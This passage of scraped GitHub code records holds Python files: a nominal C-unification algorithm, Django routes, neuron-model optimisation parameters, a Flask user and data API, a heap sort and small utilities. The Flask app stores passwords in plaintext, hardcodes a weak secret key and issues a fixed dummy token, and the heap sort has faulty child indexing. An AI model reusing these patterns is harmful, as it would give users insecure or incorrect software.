s_sigma = apply_sub_term(sigma, s) \n return [(t_sigma, s_sigma)] + apply_sub(sigma, PrbLst[1:])\n\n\n# transforma a list of fixpoint equations into a list of unification problems\ndef fix_pnt2prb_lst(FPEqLst): \n if len(FPEqLst) == 0: \n return [] \n else: \n fix_pnt_equation = FPEqLst[0] \n perm = fix_pnt_equation[0] \n var = fix_pnt_equation[1] \n t = Suspended_variable(perm, var) \n s = Suspended_variable([], var) \n return [(t, s)] + fix_pnt2prb_lst(FPEqLst[1:])\n\n# the function that unifies terms t and s\ndef unify(Delta, sigma, PrbLst, FPEqLst, verb=False, indent_lvl=\"\"):\n #colocar um deep copy na hora dos branchs... colocar um deepcopy na hora de chamar is_fresh_subs, na hora de chamar is_fresh tb\n #check_param(Delta, sigma, PrbLst, FPEqLst)\n if verb: \n print_quad(Delta, sigma, PrbLst, FPEqLst, indent_lvl)\n\n if len(PrbLst) == 0: \n if verb: \n print(indent_lvl, end = '') \n print_sol([(Delta, sigma, FPEqLst)])\n print(\"\\n\")\n return [(Delta, sigma, FPEqLst)]\n else: \n (t, s) = PrbLst[0]\n PrbLst1 = PrbLst[1:]\n if isinstance(s, Suspended_variable) and (not is_var_in_term(s.var, t)):\n sigma1 = [(s.var, apply_perm(inverse_perm(s.perm), t))]\n sigma2 = sigma1 + sigma \n (Delta1, bool1) = is_fresh_subs(sigma1, copy.deepcopy(Delta))\n Delta2 = Delta1 + Delta\n PrbLst2 = apply_sub(sigma1, PrbLst1) + \\\n apply_sub(sigma1, fix_pnt2prb_lst(FPEqLst)) \n if bool1: \n return unify(Delta2, sigma2, PrbLst2, [], verb, indent_lvl) \n else:\n if verb: \n print(indent_lvl + \"No solution\\n\") \n return []\n\n else: \n if isinstance(t, Atom): \n if isinstance(s, Atom) and s.name == t.name: \n return unify(Delta, sigma, PrbLst1, FPEqLst, verb, indent_lvl)\n else: \n if verb: \n print(indent_lvl + \"No solution\\n\")\n return []\n\n elif isinstance(t, Suspended_variable): \n if not is_var_in_term(t.var, s): \n sigma1 = [(t.var, apply_perm(inverse_perm(t.perm), s))]\n sigma2 = sigma1 + sigma \n (Delta1, bool1) = is_fresh_subs(sigma1, copy.deepcopy(Delta))\n Delta2 = Delta1 + Delta\n PrbLst2 = apply_sub(sigma1, PrbLst1) + \\\n apply_sub(sigma1, fix_pnt2prb_lst(FPEqLst)) \n if bool1: \n return unify(Delta2, sigma2, PrbLst2, [], verb, indent_lvl) \n else: \n if verb: \n print(indent_lvl + \"No solution\\n\") \n return []\n\n elif isinstance(s, Suspended_variable) and s.var == t.var:\n FPEqLst1 = [(inverse_perm(s.perm) + t.perm, t.var)] + \\\n FPEqLst \n return unify(Delta, sigma, PrbLst1, FPEqLst1, verb, indent_lvl)\n else: \n if verb: \n print(indent_lvl + \"No solution\\n\")\n return []\n\n elif isinstance(t, Unit):\n if isinstance(s, Unit): \n return unify(Delta, sigma, PrbLst1, FPEqLst, verb, indent_lvl)\n else: \n if verb: \n print(indent_lvl + \"No solution\\n\")\n return []\n \n elif isinstance(t, Pair): \n if isinstance(s, Pair): \n PrbLst2 = [(t.term1, s.term1)] + [(t.term2, s.term2)] + PrbLst1\n return unify(Delta, sigma, PrbLst2, FPEqLst, verb, indent_lvl)\n else: \n if verb: \n print(indent_lvl + \"No solution\\n\")\n return []\n\n elif isinstance(t, Abstraction): \n if isinstance(s, Abstraction) and (t.atom).name == (s.atom).name: \n PrbLst2 = [(t.body, s.body)] + PrbLst1\n return unify(Delta, sigma, PrbLst2, FPEqLst, verb, indent_lvl)\n elif isinstance(s, Abstraction) and (t.atom).name != (s.atom).name: \n (Delta1, bool1) = is_fresh(copy.deepcopy((t.atom).name), s.body)\n Delta2 = Delta1 + Delta \n PrbLst2 = [(t.body, apply_perm([((t.atom).name, \\\n (s.atom).name)], s.body))] + PrbLst1\n if bool1: \n return unify(Delta2, sigma, PrbLst2, FPEqLst, verb,\n indent_lvl)\n else: \n if verb: \n print(indent_lvl + \"No solution\\n\") \n return [] \n else: \n if verb: \n print(indent_lvl + \"No solution\\n\") \n return []\n\n elif isinstance(t, Application): \n if (not isinstance(s, Application)) or (t.symbol != s.symbol): \n if verb: \n print(indent_lvl + \"No solution\\n\") \n return [] \n else: \n PrbLst2 = [(t.arg, s.arg)] + PrbLst1\n return unify(Delta, sigma, PrbLst2, FPEqLst, verb, indent_lvl) \n\n elif isinstance(t, CApplication): \n if (not isinstance(s, CApplication)) or (t.symbol != s.symbol): \n if verb: \n print(indent_lvl + \"No solution\\n\") \n return [] \n else: \n new_indent_lvl = indent_lvl + \" \"\n PrbLst_branch1 = [((t.arg).term1, (s.arg).term1)] + \\\n [((t.arg).term2, (s.arg).term2)] + \\\n PrbLst1 \n sol1 = unify(copy.deepcopy(Delta), copy.deepcopy(sigma), copy.deepcopy(PrbLst_branch1), \n\t\t\t\tcopy.deepcopy(FPEqLst), verb, new_indent_lvl) \n PrbLst_branch2 = [((t.arg).term1, (s.arg).term2)] + \\\n [((t.arg).term2, (s.arg).term1)] + \\\n PrbLst1 \n sol2 = unify(Delta, sigma, PrbLst_branch2, FPEqLst, verb, \n new_indent_lvl) \n return sol1 + sol2\n else: \n quit(\"term t is not really a term\")\n\n# print a context \ndef print_context(Delta): \n print(\"[\", end = '')\n for fresh_constraint in Delta: \n print(fresh_constraint[0] + \"#\" + fresh_constraint[1] + \" \", end = '')\n print(\"]\", end = '') \n\n# print a substitution\ndef print_sub(sigma): \n if len(sigma) == 0: \n print(\"id\", end = '')\n else: \n print(\"[\", end = '')\n for nuc_sub in sigma: \n print(nuc_sub[0] + \"->\", end = '') \n print(nuc_sub[1], end = ' ')\n print(\"]\", end = '')\n\n# prints a list of unification problems\ndef print_prb_lst(PrbLst): \n print(\"[\", end = '') \n for unif_prb in PrbLst: \n print(\"(\", end = '') \n print(unif_prb[0], end = '')\n print(\" = \", end = '') \n print(unif_prb[1], end = '')\n print(\"), \", end = '') \n print(\"]\", end = '')\n\n# prints a fix point equation\ndef print_fix_pnt_eq(FPEqLst): \n print(\"[\", end = '')\n for fix_pnt_eq in FPEqLst: \n print(fix_pnt_eq[0], end = '')\n print(\"*\" + fix_pnt_eq[1] + \" = \" + fix_pnt_eq[1] + \" \", end = '')\n print(\"]\", end = '')\n\n# prints the solutions found by the unify function \ndef print_sol(sol_lst):\n if len(sol_lst) == 0: \n print(\"no solution was found\") \n else: \n for sol in sol_lst: \n print(\"solution: <\", end = '')\n print_context(sol[0])\n print(\", \", end = '')\n print_sub(sol[1])\n print(\", \", end = '')\n print_fix_pnt_eq(sol[2])\n print(\">\")\n\n# print a quadruple \ndef print_quad(Delta, sigma, PrbLst, FPEqLst, indent_lvl): \n print(indent_lvl + \"<\", end = '')\n print_context(Delta)\n print(\", \", end = '') \n print_sub(sigma) \n print(\", \", end = '')\n print_prb_lst(PrbLst)\n print(\", \", end = '') \n print_fix_pnt_eq(FPEqLst)\n print(\">\", end = '')\n print(\"\\n\" + indent_lvl + \"|\") \n\n","repo_name":"gabriel951/c-unification","sub_path":"nominal_c-unification/unify.py","file_name":"unify.py","file_ext":"py","file_size_in_byte":15567,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"45267261711","text":"from django.conf.urls import url\nfrom views import *\n\nurlpatterns = [\n url(r'^$', login, name='login'),\n url(r'^processlogin$', processlogin, name='processlogin'),\n url(r'^register$', register, name='register'),\n url(r'^processregister$', processregister, name='processregister'),\n url(r'^home$', home, name='home'),\n url(r'^logout$', logout, name='logout'),\n url(r'^additem$', additem, name='additem'),\n url(r'^processitem$', processitem, name='processitem'),\n url(r'^itempage/(?P\\d+)$', itempage, name='itempage'),\n url(r'^addtolist/(?P\\d+)$', addtolist, name='addtolist'),\n url(r'^removefromlist/(?P\\d+)$', removefromlist, name='removefromlist'),\n\n\n]\n","repo_name":"EverestMons/python_belt_exam","sub_path":"apps/dream/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"31875696675","text":"\"\"\"\nCreation of EFEL parameters for STN model optimization.\n\n@author Lucas Koelman\n\n@date 3/10/2017\n\n\"\"\"\n\nimport bluepyopt.ephys as ephys\n\nfrom bgcellmodels.extensions.bluepyopt.bpop_parameters import (\n NrnScaleRangeParameter, DistanceParamaterizedRangeVar)\n\n# Gillies & Willshaw model mechanisms\nfrom bgcellmodels.models.STN.GilliesWillshaw import gillies_model\ngleak_name = gillies_model.gleak_name\n\n################################################################################\n# MODEL REGIONS\n################################################################################\n\n# seclist_name are names of SectionList declared in the cell model we optimize\n\nsomatic_region = ephys.locations.NrnSeclistLocation('somatic', seclist_name='somatic')\n\ndendritic_region = ephys.locations.NrnSeclistLocation('dendritic', seclist_name='dendritic')\n\n################################################################################\n# PASSIVE PARAMETERS\n################################################################################\n\n# NOTE: use parameter.value attribute for default value\n\n# SOMATIC ----------------------------------------------------------------------\n\nsoma_gl_param = ephys.parameters.NrnSectionParameter( \n name='gleak_soma', # assigned name\n param_name=gleak_name, # NEURON name\n locations=[somatic_region],\n value = 7.84112e-05, # default value\n bounds=[7.84112e-7, 7.84112e-3],\n frozen=False)\n\nsoma_cm_param = ephys.parameters.NrnSectionParameter(\n name='cm_soma',\n param_name='cm',\n value = 1.0,\n bounds=[0.05, 10.0],\n locations=[somatic_region],\n frozen=False)\n\n\n# DENDRITIC --------------------------------------------------------------------\n\n# Cell reductions: gbar and cm have been scaled in distance-dependent manner.\n# To keep distance-dependent profile, use parameter scalers instead of direct\n# parameter assignment.\n\n\ndend_gl_factor = NrnScaleRangeParameter(\n name='gleak_dend_scale',\n param_name=gleak_name,\n value = 1.0,\n bounds=[0.05, 10.0],\n locations=[dendritic_region],\n frozen=False)\n\ndend_cm_factor = NrnScaleRangeParameter(\n name='cm_dend_scale',\n param_name='cm',\n value = 1.0,\n bounds=[0.05, 10.0],\n locations=[dendritic_region],\n frozen=False)\n\ndend_ra_param = ephys.parameters.NrnSectionParameter(\n name='Ra_dend',\n param_name='Ra',\n value = 150.224, # default in Gillies model\n bounds=[50, 500.0],\n locations=[dendritic_region],\n frozen=False)\n\n# Groups of parameters to be used in optimizations\nsoma_passive_params = [soma_gl_param, soma_cm_param]\ndend_passive_params = [dend_gl_factor, dend_cm_factor, dend_ra_param]\nall_passive_params = soma_passive_params + dend_passive_params\n\n################################################################################\n# ACTIVE PARAMETERS\n################################################################################\n\n# Scalers ----------------------------------------------------------------------\n\n# for set of most important active conductance: scale factor\nscaled_gbar = ['gna_NaL', 'gk_Ih', 'gk_sKCa', 'gcaT_CaT', 'gcaL_HVA', 'gcaN_HVA']\n\n# Make parameters to scale channel conductances\nMIN_SCALE_GBAR = 0.1\nMAX_SCALE_GBAR = 10.0\ndend_gbar_scale_params = []\nfor gbar_name in scaled_gbar:\n\n gbar_scale_param = NrnScaleRangeParameter(\n name = gbar_name + '_dend_scale',\n param_name = gbar_name,\n value = 1.0,\n bounds = [MIN_SCALE_GBAR, MAX_SCALE_GBAR],\n locations = [dendritic_region],\n frozen = False)\n\n dend_gbar_scale_params.append(gbar_scale_param)\n\n# Distributions ----------------------------------------------------------------\n\n# NOTE: \n# - the default way to solve distributions in BluePyOpt is to use \n# `ephys.parameters.NrnRangeParameter`\n#\n# - its argument 'value_scaler' can be set set to one of the scale functions in \n# `ephys.parameterscalers`.\n#\n# - Parameters of the scale function can be controlled by using\n# `ephys.parameters.MetaParameter`, as shown in the example\n# `bluepyopt/tests/test_ephys/test_parameters.py`\n#\n# - HOWEVER: we use a more concise and flexible solution, that is implemented\n# in `bgcellmodels.extensions.bluepyopt.bpop_parameters`\n\n# TODO: linked parameters for gbar distribution\n# Sub-parameters (MetaParameter)\n# - assigning value stores it\n# - instantitating does nothing\n# DistributionParameter\n# - assigning value does nothing\n# - instantiating reads values from sub-parameters\n\ndef gillies_density_tapered(dist_soma, B=None, C=None, D=None, max_dist=None):\n \"\"\"\n Parameterized ion channel density according to Gillies & Willshaw (2005)\n\n @see models/STN/Miocinovic2006/stn_proto_arcdist.hoc\n \"\"\"\n dist = dist_soma / max_dist # normalized distance\n prox = D\n\n if prox == 0:\n f = 1\n elif prox > 0:\n f = (1 - prox - dist) / (1 - prox)\n else:\n f = (prox + dist) / (1 + prox)\n\n if f < 0:\n f = 0.0\n\n return C + (f * B)\n\n\ndef gillies_density_step(dist_soma, g1=0, g2=0, g3=0, d1=0, d2=0):\n \"\"\"\n Parameterized ion channel used in Gillies & Willshaw (2005)\n\n Step-function with three levels:\n - g1 in 0 <= x < d1\n - g2 in d1 <= x < d2\n - g3 in d2 <= x < inf\n\n Used for gk_KDR and gk_sKCa\n \"\"\"\n if 0.0 <= dist_soma < d1:\n return g1\n elif d1 <= dist_soma < d2:\n return g2\n else:\n assert d2 <= dist_soma\n return g3\n\n\n# A,B,C,D parameters from Gillies 2005, Fig. 2., Values in Table A1)\n# A: density at the soma (not used in distribution)\n# B: overall density to be distributed across the dendritic trees.\n# C: proportion of the density that is uniformly distributed across the trees\n# D: proximity, how the remaining density is distributed\n# gbar_dist_article_params = {\n# # 'gk_KDR' : {'B': 9.32e-5, 'C': 4.22e-5, 'D': -0.05},\n# # 'gk_sKCa' : {'B': 3.92e-5 * 1.8, 'C': 0.0, 'D': -0.52},\n# 'gk_Kv31' : {'B': 1.0e-3, 'C': 8.91e-4, 'D': 0.8},\n# 'gk_Ih' : {'B': 5.1e-4, 'C': 0.0, 'D': -0.39},\n# 'gcaT_CaT' : {'B': 1.67e-3, 'C': 1.17e-3, 'D': -0.01},\n# 'gcaL_HVA' : {'B': 1.87e-3, 'C': 1.21e-4, 'D': -0.57},\n# 'gcaN_HVA' : {'B': 4.79e-4, 'C': 0.0, 'D': 0.5}, \n# }\n\n# To fit actual gbar distributions of 2005 model code:\n# NOTE: sKCa and KDR are step-wise\ngbar_dist_code_params = {\n # 'gk_KDR' : {'B': 9.32e-5, 'C': 4.22e-5, 'D': -0.05},\n # 'gk_sKCa' : {'B': 3.92e-5 * 5.3, 'C': 0.0, 'D': -0.52},\n 'gk_Kv31' : {'B': 1.0e-3 * 4.5, 'C': 8.91e-4, 'D': 0.8},\n 'gk_Ih' : {'B': 5.1e-4 * 4.9, 'C': 0.0, 'D': -0.39},\n 'gcaT_CaT' : {'B': 1.67e-3 * 2.3, 'C': 1.17e-3, 'D': -0.01},\n 'gcaL_HVA' : {'B': 1.87e-3 * 7.1, 'C': 1.21e-4, 'D': -0.57},\n 'gcaN_HVA' : {'B': 4.79e-4 * 3.8, 'C': 0.0, 'D': 0.5}, \n}\n\ngbar_dist_step_params = {\n 'gk_KDR' : {'g1': 0, 'g2': 1e-4, 'g3': 2e-4, 'd1': 50.0, 'd2': 210.0},\n 'gk_sKCa' : {'g1': 0, 'g2': 1e-4, 'g3': 2e-4, 'd1': 240.0, 'd2': 350.0},\n}\n\ngbar_dist_uniform_params = {\n 'gna_NaL' : {'gbar': 8e-6 * 1.3 } # original model: 8e-6 (uniform)}\n}\n\ngNaL_base = gbar_dist_uniform_params['gna_NaL']['gbar']\n\ndef tapered_param_bounds(X, dist_params):\n \"\"\" Get bounds for B,C,D parameters \"\"\"\n if X == 'B':\n return [dist_params['B']*0.1, dist_params['B']*10.0]\n elif X == 'C':\n return [0.0, dist_params['B']]\n elif X == 'D':\n return [-1.0, 1.0]\n else:\n raise ValueError(X)\n\ngbar_NaL_param = ephys.parameters.NrnSectionParameter(\n name = 'gna_NaL_dend',\n param_name = 'gna_NaL',\n locations = [dendritic_region],\n value = gNaL_base,\n bounds = [gNaL_base*0.1, gNaL_base*10.0],\n frozen = False)\n\ndend_gbar_dist_params = [gbar_NaL_param]\n\n# Make distribution with A, B, C als metaparameters for each conductance\nfor gbar_name, dist_params in gbar_dist_code_params.items():\n \n gbar_dist_param = DistanceParamaterizedRangeVar(\n name = gbar_name + '_dend',\n param_name = gbar_name,\n locations = [dendritic_region],\n dist_func = gillies_density_tapered,\n B = dist_params['B'],\n C = dist_params['C'],\n D = dist_params['D'],\n max_dist = 410.0) # 369 in longest, 330 in second-longest dendrites\n\n dend_gbar_dist_params.append(gbar_dist_param)\n\n # Metaparameters\n for X in 'B', 'C', 'D':\n meta_param = ephys.parameters.MetaParameter(\n name = 'dist_{}_{}'.format(gbar_name, X),\n obj = gbar_dist_param,\n attr_name = X,\n value = dist_params[X],\n bounds = tapered_param_bounds(X, dist_params),\n frozen = False)\n\n dend_gbar_dist_params.append(meta_param)\n\n\n# Make step-distributions for KDR and sKCa\nfor gbar_name, dist_params in gbar_dist_step_params.items():\n \n gbar_dist_param = DistanceParamaterizedRangeVar(\n name = gbar_name + '_dend',\n param_name = gbar_name,\n locations = [dendritic_region],\n dist_func = gillies_density_step,\n **dist_params)\n\n dend_gbar_dist_params.append(gbar_dist_param)\n\n # Metaparameters\n for X,V in dist_params.items():\n if X == 'g1':\n continue\n meta_param = ephys.parameters.MetaParameter(\n name = 'dist_{}_{}'.format(gbar_name, X),\n obj = gbar_dist_param,\n attr_name = X,\n value = dist_params[X],\n bounds = [0.1*V, 10.0*V],\n frozen = False)\n\n dend_gbar_dist_params.append(meta_param)\n\n# Default values for parameters\n# default_params = {p.name: p.value for p in all_params}\n\n","repo_name":"lkoelman/stn-gpe-model-frontiers","sub_path":"bgcellmodels/models/STN/GilliesWillshaw/optimize/bpop_parameters_stn.py","file_name":"bpop_parameters_stn.py","file_ext":"py","file_size_in_byte":10755,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"73463955310","text":"from flask import Flask, request, jsonify , send_from_directory , abort , session \nfrom flask_sqlalchemy import SQLAlchemy\nfrom datetime import timedelta\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///my_database.db'\ndb = SQLAlchemy(app)\napp.secret_key = \"secret\"\napp.permanent_session_lifetime = timedelta(seconds=3600)\n# User model\nclass User(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n username = db.Column(db.String(50), unique=True, nullable=False)\n email = db.Column(db.String(100), unique=True, nullable=False)\n password = db.Column(db.String(128), nullable=False)\n full_name = db.Column(db.String(100), nullable=False)\n age = db.Column(db.Integer)\n gender = db.Column(db.String(10), nullable=False)\n\n def __repr__(self):\n return f''\n\n# Data model\nclass Data(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n key = db.Column(db.String(100), unique=True, nullable=False)\n value = db.Column(db.Text, nullable=False)\n\n def __repr__(self):\n return f''\n\n# Move the creation of the database tables within the application context\nwith app.app_context():\n db.create_all()\n\n# User Registration API\n@app.route('/')\ndef serve_index():\n # print(os.getcwd())\n return send_from_directory('./frontend', 'index.html')\n@app.route('/registration')\ndef registration():\n # print(os.getcwd())\n return send_from_directory('./frontend', 'registration.html')\n@app.route('/edit_data')\ndef edit_data():\n # print(os.getcwd())\n return send_from_directory('./frontend', 'edit_data.html')\n@app.route('/generate_token')\ndef generate():\n # print(os.getcwd())\n return send_from_directory('./frontend', 'generate_token.html')\n@app.route('/retrieve_data')\ndef retieve_data():\n # print(os.getcwd())\n return send_from_directory('./frontend', 'retrieve_data.html')\n@app.route('/store_data')\ndef store():\n # print(os.getcwd())\n return send_from_directory('./frontend', 'store_data.html')\n@app.route('/delete_data')\ndef delete():\n # print(os.getcwd())\n return send_from_directory('./frontend', 'delete_data.html')\n\n@app.route('/api/register', methods=['POST'])\ndef user_registration():\n data = request.json\n\n # Validate required fields\n required_fields = ['username', 'email', 'password', 'full_name']\n for field in required_fields:\n if field not in data:\n return jsonify({\n \"status\": \"error\",\n \"code\": \"INVALID_REQUEST\",\n \"message\": f\"Invalid request. Please provide all required fields: {', '.join(required_fields)}.\"\n }), 400\n\n # Check if username already exists\n if User.query.filter_by(username=data['username']).first():\n return jsonify({\n \"status\": \"error\",\n \"code\": \"USERNAME_EXISTS\",\n \"message\": \"The provided username is already taken. Please choose a different username.\"\n }), 409\n\n # Check if email already exists\n if User.query.filter_by(email=data['email']).first():\n return jsonify({\n \"status\": \"error\",\n \"code\": \"EMAIL_EXISTS\",\n \"message\": \"The provided email is already registered. Please use a different email address.\"\n }), 409\n #Validating Password\n password = data[\"password\"]\n if not (len(password) >= 8 and any(char.isupper() for char in password) and any(char.islower() for char in password) and any(char.isdigit() for char in password) and any(not char.isalnum() for char in password)):\n return jsonify(status=\"error\", code=\"INVALID_PASSWORD\", message=\"The provided password does not meet the requirements. Password must be at least 8 characters long and contain a mix of uppercase and lowercase letters, numbers, and special characters.\")\n\n # Store user data in the database\n new_user = User(\n username=data['username'],\n email=data['email'],\n password=data['password'],\n full_name=data['full_name'],\n age=data.get('age'),\n gender=data['gender']\n )\n\n db.session.add(new_user)\n db.session.commit()\n\n return jsonify({\n \"status\": \"success\",\n \"message\": \"User successfully registered!\",\n \"data\": {\n \"user_id\": new_user.id,\n \"username\": new_user.username,\n \"email\": new_user.email,\n \"full_name\": new_user.full_name,\n \"age\": new_user.age,\n \"gender\": new_user.gender\n }\n }), 201\n\n# Generate Token API\n@app.route('/api/token', methods=['POST'])\ndef generate_token():\n data = request.json\n # print(request.json)\n\n # Check if both username and password are provided\n if 'username' not in data or 'password' not in data:\n return jsonify({\n \"status\": \"error\",\n \"code\": \"MISSING_FIELDS\",\n \"message\": \"Missing fields. Please provide both username and password.\"\n }), 400\n\n # Check if username exists and validate password\n user = User.query.filter_by(username=data['username']).first()\n if not user or user.password != data['password']:\n return jsonify({\n \"status\": \"error\",\n \"code\": \"INVALID_CREDENTIALS\",\n \"message\": \"Invalid credentials. The provided username or password is incorrect.\"\n }), 401\n\n # Generate and return a dummy access token\n access_token = \"SAMPLE_ACCESS_TOKEN\"\n expires_in = 3600\n session['access_token'] = \"\"\n return jsonify({\n \"status\": \"success\",\n \"message\": \"Access token generated successfully.\",\n \"data\": {\n \"access_token\": access_token,\n \"expires_in\": expires_in\n }\n }), 200\n\n# Store Data API\n@app.route('/api/data', methods=['POST'])\ndef store_data():\n data = request.json\n print(request.json)\n access_token =get_access_token()\n if not access_token :\n abort(401, \"Unauthorized\")\n\n # Validate required fields\n if 'key' not in data:\n return jsonify({\n \"status\": \"error\",\n \"code\": \"INVALID_KEY\",\n \"message\": \"The provided key is not valid or missing.\"\n }), 400\n\n if 'value' not in data:\n return jsonify({\n \"status\": \"error\",\n \"code\": \"INVALID_VALUE\",\n \"message\": \"The provided value is not valid or missing.\"\n }), 400\n\n # Check if the key already exists\n if Data.query.filter_by(key=data['key']).first():\n return jsonify({\n \"status\": \"error\",\n \"code\": \"KEY_EXISTS\",\n \"message\": \"The provided key already exists in the database. To update an existing key, use the update API.\"\n }), 409\n\n # Store the data in the database\n new_data = Data(\n key=data['key'],\n value=data['value']\n )\n\n db.session.add(new_data)\n db.session.commit()\n\n return jsonify({\n \"status\": \"success\",\n \"message\": \"Data stored successfully.\"\n }), 201\n\n# Retrieve Data API\n@app.route('/api/data/', methods=['GET'])\ndef retrieve_data(key):\n # Check if the key exists\n data = Data.query.filter_by(key=key).first()\n access_token = get_access_token()\n if not access_token :\n abort(401, \"Unauthorized\")\n\n if not data:\n return jsonify({\n \"status\": \"error\",\n \"code\": \"KEY_NOT_FOUND\",\n \"message\": \"The provided key does not exist in the database.\"\n }), 404\n\n return jsonify({\n \"status\": \"success\",\n \"data\": {\n \"key\": data.key,\n \"value\": data.value\n }\n }), 200\n\n# Update Data API\n@app.route('/api/data/', methods=['PUT'])\ndef update_data(key):\n data = request.json\n access_token = get_access_token()\n if not access_token :\n abort(401, \"Unauthorized\")\n\n\n # Check if the key exists\n existing_data = Data.query.filter_by(key=key).first()\n if not existing_data:\n return jsonify({\n \"status\": \"error\",\n \"code\": \"KEY_NOT_FOUND\",\n \"message\": \"The provided key does not exist in the database.\"\n }), 404\n\n # Update the value if provided\n if 'value' in data:\n existing_data.value = data['value']\n\n db.session.commit()\n\n return jsonify({\n \"status\": \"success\",\n \"message\": \"Data updated successfully.\"\n }), 200\n\n# Delete Data API\n@app.route('/api/data/', methods=['DELETE'])\ndef delete_data(key):\n # Check if the key exists\n existing_data = Data.query.filter_by(key=key).first()\n access_token = get_access_token()\n if not access_token :\n abort(401, \"Unauthorized\")\n\n if not existing_data:\n return jsonify({\n \"status\": \"error\",\n \"code\": \"KEY_NOT_FOUND\",\n \"message\": \"The provided key does not exist in the database.\"\n }), 404\n\n # Delete the data from the database\n db.session.delete(existing_data)\n db.session.commit()\n\n return jsonify({\n \"status\": \"success\",\n \"message\": \"Data deleted successfully.\"\n }), 200\n@app.route('/logout')\ndef logout():\n session.clear()\n return jsonify(status=\"success\", message=\"Logout successful.\")\n\n\ndef get_access_token():\n return session.get('access_token')\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"srikar5737/DPDZero-Assignment","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":9343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"71910622509","text":"\"\"\"\nSort an Array in ascending order\n\"\"\"\nimport math\n\nclass Solution:\n def sortArray(self, nums: list[int]) -> list[int]:\n # unsorted => heap\n heap = self._toHeap(nums)\n\n # heap => sorted\n sorted_arr = self._toSorted(heap)\n\n return sorted_arr\n\n\n def _toHeap(self, nums: list[int]) -> list[int]:\n n = len(nums)\n start = n - 1 - math.ceil(n / 2)\n\n for i in range(start, -1, -1):\n left = 2 * i + 1\n right = 2 * i + 2\n j = i\n\n while right < n:\n if nums[left] < nums[right]:\n larger = right\n else:\n larger = left\n\n if nums[j] < nums[larger]:\n nums[j], nums[larger] = nums[larger], nums[j]\n j = larger\n left, right = 2 * j, 2 * j + 1\n else:\n break\n\n return nums\n\n def _toSorted(self, nums: list[int]) -> list[int]:\n curr = len(nums) - 1\n pt = 0\n\n while curr > 1:\n nums[pt], nums[curr] = nums[curr], nums[pt]\n\n left, right = 1, 2\n\n while right < curr:\n if nums[left] < nums[right]:\n larger = right\n else:\n larger = left\n\n if nums[pt] < nums[larger]:\n nums[pt], nums[larger] = nums[larger], nums[pt]\n pt = larger\n left, right = 2 * pt + 1, 2 * pt + 2\n else:\n break\n\n pt = 0\n curr = curr - 1\n\n if nums[0] > nums[1]:\n nums[0], nums[1] = nums[1], nums[0]\n\n return nums\n\n\nif __name__ == '__main__':\n solution = Solution()\n nums = [5, 1, 1, 2, 0, 0]\n result = solution.sortArray(nums)\n print(result)\n","repo_name":"eun-chae-s/Coding-Test-Prep","sub_path":"Heap/sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"7010549864","text":"\nclass Band():\n def __init__(self, name):\n self.name = name\n self.albums = []\n\n def add_album(self, album):\n if album in self.albums:\n return f\"Band {self.name} already has {album.name} in their library.\"\n self.albums.append(album)\n return f\"Band {self.name} has added their newest album {album.name}.\"\n\n def remove_album(self, album_name: str):\n\n album_to_remove = [x for x in self.albums if x.name == album_name]\n\n if album_to_remove:\n if album_to_remove[0].published:\n return \"Album has been published. It cannot be removed.\"\n self.albums.remove(album_to_remove[0])\n return f\"Album {album_to_remove[0].name} has been removed.\"\n else:\n f\"Album {album_to_remove[0].name} is not found.\"\n\n def details(self):\n band_details = f'Band {self.name}\\n'\n for albums in self.albums:\n band_details += f'{albums.name}\\n'\n for songs in albums.song_name:\n band_details += f'== {songs.name} - {songs.length}\\n'\n return band_details.rstrip()","repo_name":"MarioDavidov/Exercise","sub_path":"OOP/spoopify/band.py","file_name":"band.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"41387671082","text":"import os\nfrom random import randint\nfrom typing import Tuple\nimport math\n\n\ndef is_location_equal(l1: Tuple[int, int], l2: Tuple[int, int]) -> bool:\n return get_distance(l1, l2) < 1.5\n\n\ndef get_distance(l1: Tuple[float, float], l2: Tuple[float, float]) -> float:\n return math.sqrt((l1[0] - l2[0]) ** 2 + (l1[1] - l2[1]) ** 2)\n\n\ndef get_random_location(area_size: int, radius: int = None) -> Tuple[int, int]:\n l = (randint(0, area_size), randint(0, area_size))\n if radius is not None:\n center = (area_size // 2, area_size // 2)\n while get_distance(l, center) > radius:\n l = (randint(0, area_size), randint(0, area_size))\n return l\n\n\ndef get_line(l1: Tuple[float, float], l2: Tuple[float, float]):\n n = int(get_distance(l1, l2))\n return [\n (\n l1[0] + (l2[0] - l1[0]) * x / n,\n l1[1] + (l2[1] - l1[1]) * x / n,\n )\n for x in range(0, n)\n ]\n\n\n# https://stackoverflow.com/questions/8487893/generate-all-the-points-on-the-circumference-of-a-circle\ndef get_circle(center: Tuple[float, float], r: float):\n pi = math.pi\n n = int(2 * r * pi)\n return [\n (\n center[0] + math.cos(2 * pi * (x / n)) * r,\n center[1] + math.sin(2 * pi * (x / n)) * r,\n )\n for x in range(0, n)\n ]\n\n\ndef screen_clear():\n if os.name == \"posix\":\n _ = os.system(\"clear\")\n else:\n _ = os.system(\"cls\")\n\n\ndef get_progress_bar(progress: float, show_percentage: bool = True) -> str:\n unit = 20\n percent = int(progress * unit)\n progress_bar = \"\"\n for _ in range(0, min(percent, unit)):\n progress_bar += \"█\"\n for _ in range(percent, unit):\n progress_bar += \"░\"\n if show_percentage:\n progress_bar += f\" {(progress * 100):.2f}%\"\n\n return progress_bar\n","repo_name":"hanchchch/csma-ca","sub_path":"utils/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"71993356272","text":"__author__ = 